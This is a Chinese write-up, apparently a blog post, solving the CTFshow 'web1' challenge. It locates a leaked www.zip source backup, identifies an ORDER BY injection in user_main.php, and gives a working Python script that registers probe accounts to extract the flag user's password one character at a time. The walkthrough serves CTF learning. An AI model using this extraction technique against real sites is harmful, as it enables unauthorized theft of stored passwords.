CTFshow web1

打开是一个登录界面

用御剑扫描一下网站目录,发现有一个www.zip可以被正常访问到

访问,www.zip被下载,里边是网站的源码

login.php(登录页)中能禁的基本都禁干净了,登录页面貌似没有注入的可能。

reg.php(注册页)也是如此,所以注册页面也没可能了。

剩下最后一个user_main.php就是显示信息的页面了。这里可以看到在数据库中是把所有的字段都给查出来。

<?php
    
    if(isset($_SESSION["login"]) && $_SESSION["login"] === true){
        $con = mysqli_connect("localhost","root","root","web15");
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        $order=$_GET['order'];
        if(isset($order) && strlen($order)<6){
            if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i",$order)){
                die("error");
            }
            $sql="select * from user order by $order";
        }else{
            $sql="select * from user order by id";
        }   

?>

查出来后显示,但是没有显示密码。

可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的,这时我们就可以判断密码的第一个字符为f,手工的话会比较麻烦,所以需要用到大神的python脚本去跑,大神最后使用的方法是index,因为我用的时候总是报错ValueError: substring not found,所以把方法改成了find

import requests
url="http://597ea336-a259-48ce-9337-3f1b9cdb8ada.challenge.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.find("<td>"+l+"</td>")>t.find("<td>flag@ctf.show</td>")):
            k=l2
            print(k)
            break

跑一下脚本,不知道为啥最后一位跑成了|,给他改成},成功获得flag

成功获取到flag:

ctfshow{829726ad-ae4a-443c-b8c8-0857d98c6e21}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值